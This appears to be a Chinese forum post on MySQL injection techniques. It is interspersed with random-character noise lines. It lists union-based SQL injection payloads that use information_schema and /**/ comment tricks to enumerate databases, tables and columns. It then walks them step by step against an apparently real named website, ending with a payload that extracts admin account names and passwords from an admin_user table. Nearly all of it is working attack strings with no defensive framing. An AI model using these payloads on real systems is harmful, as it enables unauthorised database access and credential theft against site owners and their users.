mysql注入技巧

admin

查库
: I- c. K: O* e! \7 x/ D
id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

% ~$ r$ ^, W  G. X0 A: D4 g" a" e查表

0 N4 ]1 Z4 o5 ]id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
0 Y/ G7 Y; X- d* l
1 y. V& ], n# M. U查段

id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

; ^* e6 S% i( A! n* R
mysql5高级注入方法暴表

# A2 k& e5 M( }* c$ `例子如下:

4 H* o9 W+ I$ e$ t, U& K' l1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

' j$ ]% J9 E8 _! s% r# f2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*


( K! K# O3 Z1 h* p3 e7 W3.爆密码
4 f8 U+ u1 x# Ahttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*